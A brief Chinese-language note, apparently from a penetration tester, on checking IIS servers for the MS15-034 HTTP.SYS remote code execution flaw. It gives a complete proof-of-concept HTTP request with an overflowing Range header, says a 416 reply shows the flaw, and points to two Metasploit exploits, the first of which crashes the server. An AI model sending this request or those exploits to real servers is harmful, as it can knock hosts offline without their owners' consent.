HTTP.SYS远程代码执行漏洞(MS15-034)

看到这个页面别急着关，测试一下可能存在HTTP.SYS远程代码执行漏洞(MS15-034)这个漏洞

poc如下

GET / HTTP/1.1
Host: xxx.com
Range: bytes=0-18446744073709551615
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close

如果返回416说明存在该漏洞

可以用msf中的这两个expolit去测试，注意第一个利用成功会蓝屏